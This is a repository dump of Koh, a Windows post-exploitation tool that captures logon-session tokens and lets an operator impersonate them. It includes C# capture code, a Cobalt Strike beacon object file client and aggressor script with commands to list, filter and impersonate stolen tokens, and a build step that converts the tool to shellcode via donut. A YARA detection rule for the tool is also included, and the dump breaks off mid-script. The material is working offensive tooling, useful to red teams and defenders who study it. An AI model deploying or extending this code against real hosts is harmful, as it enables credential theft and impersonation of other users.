├── Misc
├── donut.exe
└── Donut.license
├── .gitignore
├── Koh
├── app.config
├── Properties
│ └── AssemblyInfo.cs
├── Koh.csproj
├── LUID.cs
├── SecBuffer.cs
├── Program.cs
├── SecBufferDesc.cs
├── Find.cs
├── Helpers.cs
├── Creds.cs
├── Interop.cs
├── Capture.cs
└── Pipe.cs
├── Clients
└── BOF
│ ├── build.sh
│ ├── beacon.h
│ ├── KohClient.h
│ ├── KohClient.cna
│ └── KohClient.c
├── CHANGELOG.md
├── Koh.yar
├── LICENSE
├── Koh.sln
└── README.md
/Misc/donut.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/Koh/main/Misc/donut.exe
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .vs
2 | *.user
3 | [Dd]ebug/
4 | [Rr]elease/
5 | [Bb]in/
6 | [Oo]bj/
7 | .DS_Store
8 |
9 | Koh.exe
10 | Koh.bin
--------------------------------------------------------------------------------
/Koh/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Clients/BOF/build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Building Koh BOFs..."
4 |
5 | i686-w64-mingw32-gcc -c KohClient.c -o KohClient.x86.o && x86_64-w64-mingw32-gcc -c KohClient.c -o KohClient.x64.o
6 |
7 | echo "Build completed!"
8 |
--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | # Changelog
2 | All notable changes to this project will be documented in this file.
3 |
4 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
5 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
6 |
7 | ## [1.0.0] - 2018-07-07
8 |
9 | * Initial release
10 |
--------------------------------------------------------------------------------
/Koh.yar:
--------------------------------------------------------------------------------
1 | rule HKTL_Koh_TokenStealer
2 | {
3 | meta:
4 | description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project."
5 | author = "Will Schroeder (@harmj0y)"
6 | reference = "https://github.com/GhostPack/Koh"
7 | strings:
8 | $x_typelibguid = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii
9 |
10 | $s1 = "[*] Already SYSTEM, not elevating" wide fullword
11 | $s2 = "S-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{2}" wide
12 | $s3 = "0x[0-9A-Fa-f]+$" wide
13 | $s4 = "\\Koh.pdb" ascii
14 | condition:
15 | uint16(0) == 0x5A4D and 1 of ($x*) or 3 of them
16 | }
--------------------------------------------------------------------------------
/Koh/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Koh")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Koh")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("4d5350c8-7f8c-47cf-8cde-c752018af17e")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Misc/Donut.license:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved.
4 |
5 | Redistribution and use in source and binary forms, with or without
6 | modification, are permitted provided that the following conditions are met:
7 |
8 | * Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 |
11 | * Redistributions in binary form must reproduce the above copyright notice,
12 | this list of conditions and the following disclaimer in the documentation
13 | and/or other materials provided with the distribution.
14 |
15 | * Neither the name of the copyright holder nor the names of its
16 | contributors may be used to endorse or promote products derived from
17 | this software without specific prior written permission.
18 |
19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2022, Will Schroeder
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/Koh.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29009.5
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Koh", "Koh\Koh.csproj", "{4D5350C8-7F8C-47CF-8CDE-C752018AF17E}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Debug|x86 = Debug|x86
13 | Release|Any CPU = Release|Any CPU
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|x64.ActiveCfg = Debug|Any CPU
21 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|x64.Build.0 = Debug|Any CPU
22 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|x86.ActiveCfg = Debug|Any CPU
23 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|x86.Build.0 = Debug|Any CPU
24 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|Any CPU.Build.0 = Release|Any CPU
26 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|x64.ActiveCfg = Release|Any CPU
27 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|x64.Build.0 = Release|Any CPU
28 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|x86.ActiveCfg = Release|Any CPU
29 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|x86.Build.0 = Release|Any CPU
30 | EndGlobalSection
31 | GlobalSection(SolutionProperties) = preSolution
32 | HideSolutionNode = FALSE
33 | EndGlobalSection
34 | GlobalSection(ExtensibilityGlobals) = postSolution
35 | SolutionGuid = {19CD90DA-BCD6-40AA-B080-0C8B82595CB8}
36 | EndGlobalSection
37 | EndGlobal
38 |
--------------------------------------------------------------------------------
/Clients/BOF/beacon.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Beacon Object Files (BOF)
3 | * -------------------------
4 | * A Beacon Object File is a light-weight post exploitation tool that runs
5 | * with Beacon's inline-execute command.
6 | *
7 | * Cobalt Strike 4.1.
8 | */
9 |
10 | /* data API */
11 | typedef struct {
12 | char * original; /* the original buffer [so we can free it] */
13 | char * buffer; /* current pointer into our buffer */
14 | int length; /* remaining length of data */
15 | int size; /* total size of this buffer */
16 | } datap;
17 |
18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
23 |
24 | /* format API */
25 | typedef struct {
26 | char * original; /* the original buffer [so we can free it] */
27 | char * buffer; /* current pointer into our buffer */
28 | int length; /* remaining length of data */
29 | int size; /* total size of this buffer */
30 | } formatp;
31 |
32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
39 |
40 | /* Output Functions */
41 | #define CALLBACK_OUTPUT 0x0
42 | #define CALLBACK_OUTPUT_OEM 0x1e
43 | #define CALLBACK_ERROR 0x0d
44 | #define CALLBACK_OUTPUT_UTF8 0x20
45 |
46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
48 |
49 | /* Token Functions */
50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
51 | DECLSPEC_IMPORT void BeaconRevertToken();
52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin();
53 |
54 | /* Spawn+Inject Functions */
55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
59 |
60 | /* Utility Functions */
61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
62 |
--------------------------------------------------------------------------------
/Koh/Koh.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}
8 | Exe
9 | Koh
10 | Koh
11 | v4.7.2
12 | 512
13 | true
14 |
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | false
26 |
27 |
28 | AnyCPU
29 | none
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | false
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | copy /Y $(TargetPath) $(SolutionDir)
65 | "$(SolutionDir)\misc\donut.exe" -p capture -e 3 -z 5 -b 2 -a 3 -o "$(SolutionDir)$(ProjectName).bin" $(TargetPath)
66 |
67 |
--------------------------------------------------------------------------------
/Koh/LUID.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace Koh
5 | {
6 | [StructLayout(LayoutKind.Sequential)]
7 | public struct LUID
8 | {
9 | public UInt32 LowPart;
10 | public Int32 HighPart;
11 |
12 | public LUID(UInt64 value)
13 | {
14 | LowPart = (UInt32)(value & 0xffffffffL);
15 | HighPart = (Int32)(value >> 32);
16 | }
17 |
18 | public LUID(LUID value)
19 | {
20 | LowPart = value.LowPart;
21 | HighPart = value.HighPart;
22 | }
23 |
24 | public LUID(string value)
25 | {
26 | if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^0x[0-9A-Fa-f]+$"))
27 | {
28 | // if the passed LUID string is of form 0xABC123
29 | UInt64 uintVal = Convert.ToUInt64(value, 16);
30 | LowPart = (UInt32)(uintVal & 0xffffffffL);
31 | HighPart = (Int32)(uintVal >> 32);
32 | }
33 | else if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^\d+$"))
34 | {
35 | // if the passed LUID string is a decimal form
36 | UInt64 uintVal = UInt64.Parse(value);
37 | LowPart = (UInt32)(uintVal & 0xffffffffL);
38 | HighPart = (Int32)(uintVal >> 32);
39 | }
40 | else
41 | {
42 | ArgumentException argEx = new ArgumentException("Passed LUID string value is not in a hex or decimal form", value);
43 | throw argEx;
44 | }
45 | }
46 |
47 | public override int GetHashCode()
48 | {
49 | UInt64 Value = ((UInt64)HighPart << 32) + LowPart;
50 | return Value.GetHashCode();
51 | }
52 |
53 | public override bool Equals(object obj)
54 | {
55 | return obj is LUID && (((ulong)this) == (LUID)obj);
56 | }
57 |
58 | public byte[] GetBytes()
59 | {
60 | byte[] bytes = new byte[8];
61 |
62 | byte[] lowBytes = BitConverter.GetBytes(LowPart);
63 | byte[] highBytes = BitConverter.GetBytes(HighPart);
64 |
65 | Array.Copy(lowBytes, 0, bytes, 0, 4);
66 | Array.Copy(highBytes, 0, bytes, 4, 4);
67 |
68 | return bytes;
69 | }
70 |
71 | public override string ToString()
72 | {
73 | UInt64 Value = ((UInt64)HighPart << 32) + LowPart;
74 | return String.Format("0x{0:x}", (ulong)Value);
75 | }
76 |
77 | public static bool operator ==(LUID x, LUID y)
78 | {
79 | return (((ulong)x) == ((ulong)y));
80 | }
81 |
82 | public static bool operator !=(LUID x, LUID y)
83 | {
84 | return (((ulong)x) != ((ulong)y));
85 | }
86 |
87 | public static implicit operator ulong(LUID luid)
88 | {
89 | // enable casting to a ulong
90 | UInt64 Value = ((UInt64)luid.HighPart << 32);
91 | return Value + luid.LowPart;
92 | }
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/Koh/SecBuffer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace Koh
5 | {
6 | // From https://github.com/mono/linux-packaging-mono/blob/bc64aa5907f74087a6adabcff5ff79cfd2904040/external/corefx/src/System.Data.SqlClient/tests/Tools/TDS/TDS.EndPoint/SSPI/SecBuffer.cs
7 | // MIT license
8 | [StructLayout(LayoutKind.Sequential)]
9 | public struct SecBuffer : IDisposable
10 | {
11 | public int BufferSize;
12 | public int BufferType;
13 | public IntPtr BufferPtr;
14 |
15 | ///
16 | /// Initialization constructor that allocates a new security buffer
17 | ///
18 | /// Size of the buffer to allocate
19 | internal SecBuffer(int bufferSize)
20 | {
21 | // Save buffer size
22 | BufferSize = bufferSize;
23 |
24 | // Set buffer type (2 = Token)
25 | BufferType = 2;
26 |
27 | // Allocate buffer
28 | BufferPtr = Marshal.AllocHGlobal(bufferSize);
29 | }
30 |
31 | ///
32 | /// Initialization constructor for existing buffer
33 | ///
34 | /// Data
35 | internal SecBuffer(byte[] buffer)
36 | {
37 | // Save buffer size
38 | BufferSize = buffer.Length;
39 |
40 | // Set buffer type (2 = Token)
41 | BufferType = 2;
42 |
43 | // Allocate unmanaged memory for the buffer
44 | BufferPtr = Marshal.AllocHGlobal(BufferSize);
45 |
46 |
47 | try
48 | {
49 | // Copy data into the unmanaged memory
50 | Marshal.Copy(buffer, 0, BufferPtr, BufferSize);
51 | }
52 | catch (Exception)
53 | {
54 | // Dispose object
55 | Dispose();
56 |
57 | // Re-throw exception
58 | throw;
59 | }
60 | }
61 |
62 | ///
63 | /// Extract raw byte data from the security buffer
64 | ///
65 | internal byte[] ToArray()
66 | {
67 | // Check if we have a security buffer
68 | if (BufferPtr == IntPtr.Zero)
69 | {
70 | return new byte[] { };
71 | }
72 |
73 | // Allocate byte buffer
74 | var buffer = new byte[BufferSize];
75 |
76 | // Copy data from the native space
77 | Marshal.Copy(BufferPtr, buffer, 0, BufferSize);
78 |
79 | return buffer;
80 | }
81 |
82 | ///
83 | /// Dispose security buffer
84 | ///
85 | public void Dispose()
86 | {
87 | // Check buffer pointer validity
88 | if (BufferPtr != IntPtr.Zero)
89 | {
90 | // Release memory associated with it
91 | Marshal.FreeHGlobal(BufferPtr);
92 |
93 | // Reset buffer pointer
94 | BufferPtr = IntPtr.Zero;
95 | }
96 | }
97 | }
98 | }
99 |
--------------------------------------------------------------------------------
/Clients/BOF/KohClient.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
5 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
6 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);
7 |
8 | WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);
9 | WINBASEAPI int __cdecl MSVCRT$printf(const char *__format, ...);
10 | WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);
11 | //WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* _Str);
12 | WINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount);
13 |
14 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptAcquireContextA( HCRYPTPROV *, LPCSTR, LPCSTR, DWORD, DWORD );
15 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptCreateHash( HCRYPTPROV, ALG_ID, HCRYPTKEY, DWORD, HCRYPTHASH * );
16 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptHashData( HCRYPTHASH, const BYTE *, DWORD, DWORD );
17 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptReleaseContext( HCRYPTPROV, DWORD);
18 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptGetHashParam( HCRYPTHASH, DWORD, PBYTE, PDWORD, DWORD );
19 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptDestroyHash( HCRYPTHASH );
20 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptReleaseContext( HCRYPTPROV, DWORD );
21 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$InitializeSecurityDescriptor( PSECURITY_DESCRIPTOR, DWORD );
22 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl( PSECURITY_DESCRIPTOR, BOOL, PACL, BOOL);
23 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$ImpersonateNamedPipeClient (HANDLE);
24 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenThreadToken (HANDLE, DWORD, BOOL, PHANDLE);
25 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$DuplicateTokenEx (HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE);
26 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$RevertToSelf (void);
27 |
28 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
29 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
30 | WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
31 | WINBASEAPI WINBOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
32 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateNamedPipeA (LPCSTR, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, LPSECURITY_ATTRIBUTES);
33 | WINBASEAPI BOOL WINAPI KERNEL32$ConnectNamedPipe (HANDLE, LPOVERLAPPED);
34 | WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread (void);
35 | WINBASEAPI HANDLE WINAPI KERNEL32$DisconnectNamedPipe (HANDLE);
36 | WINBASEAPI HANDLE WINAPI KERNEL32$CloseHandle (HANDLE);
37 |
38 | DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc (UINT, SIZE_T);
39 | DECLSPEC_IMPORT WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree (HLOCAL);
40 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GetComputerNameA (LPSTR, LPDWORD);
41 |
42 | WINBASEAPI NTSTATUS NTAPI NTDLL$RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
43 |
--------------------------------------------------------------------------------
/Koh/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Concurrent;
3 |
4 | namespace Koh
5 | {
6 | class Program
7 | {
8 | // the maximum number of unique tokens/logon sessions to capture
9 | public static int maxTokens = 1000;
10 |
11 | // whether we've been warned that we've hit max captured tokens
12 | public static bool maxWarned = false;
13 |
14 | static void Main(string[] args)
15 | {
16 | try
17 | {
18 | // Debug mode outputs additional output on the command line for the server
19 | #if DEBUG
20 | bool DEBUG = true;
21 | #else
22 | bool DEBUG = false;
23 | #endif
24 |
25 | // password used for communications, super securez I know :)
26 | string password = "password";
27 | string pipeName = "imposecost";
28 |
29 | // thread safe dictionary for metadata, i.e., signaling we're exiting
30 | ConcurrentDictionary meta = new ConcurrentDictionary();
31 | meta["SignalExit"] = 0;
32 | meta["AcquireCredentialsHandleError"] = 0;
33 |
34 | // thread safe dictionary for session capture
35 | ConcurrentDictionary capturedSessions = new ConcurrentDictionary();
36 |
37 | // thread safe dictionary for sid filtering/updating
38 | ConcurrentDictionary filterSids = new ConcurrentDictionary();
39 |
40 | // thread safe dictionary for sids to exclude from capture
41 | ConcurrentDictionary excludeSids = new ConcurrentDictionary();
42 |
43 | Helpers.Logo();
44 |
45 | if (args.Length > 0)
46 | {
47 | string command = args[0].ToLower();
48 | Console.WriteLine($"\n [*] Command: {command}");
49 |
50 | for (int i = 1; i < args.Length; i++)
51 | {
52 | // any additional arguments -> assume they're domain group SIDs for filtering
53 | if (Helpers.IsDomainSid(args[i]))
54 | {
55 | filterSids.TryAdd(args[i], true);
56 | }
57 | else
58 | {
59 | if(args[i].ToLower() == "/debug")
60 | {
61 | DEBUG = true;
62 | }
63 | }
64 | }
65 |
66 | if (command == "list")
67 | {
68 | // list all current logon sessions
69 | Capture.Sessions(meta, capturedSessions, excludeSids, filterSids, false, false);
70 | }
71 | else if (command == "monitor")
72 | {
73 | // monitor a host for new logon sessions
74 | PipeServer server = new PipeServer(pipeName, password, meta, capturedSessions, excludeSids, filterSids, "monitor", DEBUG);
75 | server.Run();
76 | Capture.Sessions(meta, capturedSessions, excludeSids, filterSids, true, false);
77 | }
78 | else if (command == "capture")
79 | {
80 | // monitor a host for new logon sessions and "capture" all sessions by negotiating a new token for each
81 | PipeServer server = new PipeServer(pipeName, password, meta, capturedSessions, excludeSids, filterSids, "capture", DEBUG);
82 | server.Run();
83 |
84 | Capture.Sessions(meta, capturedSessions, excludeSids, filterSids, true, true);
85 | }
86 | else
87 | {
88 | Helpers.Usage();
89 | }
90 | }
91 | else
92 | {
93 | Helpers.Usage();
94 | }
95 | }
96 | catch (Exception e)
97 | {
98 | Console.WriteLine($" [!] Unhandled terminating exception: {e}");
99 | }
100 | }
101 | }
102 | }
103 |
--------------------------------------------------------------------------------
/Clients/BOF/KohClient.cna:
--------------------------------------------------------------------------------
1 |
2 | beacon_command_register(
3 | "koh",
4 | "Interacts with a running Koh server.",
5 | "koh list - lists captured tokens\n".
6 | "koh groups LUID - lists the group SIDs for a captured token\n".
7 | "koh filter list - lists the group SIDs used for capture filtering\n".
8 | "koh filter add SID - adds a group SID for capture filtering\n".
9 | "koh filter remove SID - removes a group SID from capture filtering\n".
10 | "koh filter reset - resets the SID group capture filter\n".
11 | "koh impersonate LUID - impersonates the captured token with the give LUID\n".
12 | "koh release all - releases all captured tokens\n".
13 | "koh release LUID - releases the captured token for the specified LUID\n".
14 | "koh exit - signals the Koh server to exit\n");
15 |
16 |
17 | alias koh {
18 | local('$0 $1 $2 $3 $bid $barch $BOFPath $bofArgs $command $handle $bofData')
19 |
20 | $bid = $1;
21 | $command = $2;
22 |
23 | $bofArgs = $null;
24 |
25 | $barch = barch($bid);
26 | $BOFPath = script_resource("KohClient." . $barch . ".o");
27 |
28 | try {
29 | $handle = openf($BOFPath);
30 | $bofData = readb($handle, -1);
31 | closef($handle);
32 | if(strlen($bofData) < 1)
33 | {
34 | berror($bid, "KohClient BOF not found!");
35 | return;
36 | }
37 | }
38 | catch $message
39 | {
40 | berror($bid, "KohClient BOF not found!");
41 | return;
42 | }
43 |
44 | # Koh commands:
45 |
46 | # 1 - list captured tokens
47 | # 2 LUID - list groups for a captured token
48 |
49 | # 100 - list group SIDs currently used for capture filtering
50 | # 101 SID - adds group SID for capture filtering
51 | # 102 SID - removes a group SID for capture filtering
52 | # 103 - resets all group SIDs for capture filtering
53 |
54 | # 200 LUID - lists the groups for the specified LUID/captured token
55 |
56 | # 300 LUID - impersonate a captured token
57 |
58 | # 400 - release all tokens
59 | # 401 LUID - release a token for the specifed LUID
60 |
61 | # 57005 - signal Koh to exit
62 |
63 | if($command iswm "list") {
64 | if($3 == $null) {
65 | $bofArgs = bof_pack($bid, "iiz", 1, 0, "");
66 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
67 | }
68 | else {
69 | $bofArgs = bof_pack($bid, "iiz", 2, $3, "");
70 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
71 | }
72 | }
73 | else if($command iswm "filter") {
74 | if($3 iswm "list") {
75 | $bofArgs = bof_pack($bid, "iiz", 100, 0, "");
76 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
77 | }
78 | else if($3 iswm "add") {
79 | $bofArgs = bof_pack($bid, "iiz", 101, 0, $4);
80 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
81 | }
82 | else if($3 iswm "remove") {
83 | $bofArgs = bof_pack($bid, "iiz", 102, 0, $4);
84 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
85 | }
86 | else if($3 iswm "reset") {
